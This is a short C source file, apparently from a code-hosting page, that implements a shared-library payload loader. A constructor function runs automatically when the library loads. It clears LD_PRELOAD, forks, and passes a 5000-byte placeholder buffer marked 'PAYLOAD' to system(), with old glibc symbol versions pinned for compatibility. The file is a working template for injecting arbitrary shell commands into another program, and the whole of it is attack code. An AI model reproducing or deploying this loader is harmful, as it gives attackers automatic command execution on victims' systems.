33 lines
697 B
C
33 lines
697 B
C
#include <stdio.h>
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#include <stdlib.h>
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#include <stdbool.h>
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#include <unistd.h>
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#include <sys/mman.h>
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#include <string.h>
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#include <stdlib.h>
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#ifdef OLD_LIB_SET_1
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__asm__(".symver system,system@GLIBC_2.0");
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__asm__(".symver fork,fork@GLIBC_2.0");
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#endif
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#ifdef OLD_LIB_SET_2
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__asm__(".symver system,system@GLIBC_2.2.5");
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__asm__(".symver fork,fork@GLIBC_2.2.5");
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#endif
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#define PAYLOAD_SIZE 5000
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unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
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static void _run_payload_(void) __attribute__((constructor));
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static void _run_payload_(void)
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{
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int dummy = 0;
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unsetenv("LD_PRELOAD");
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if (! fork())
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dummy = system((const char*)payload);
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exit(dummy);
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}
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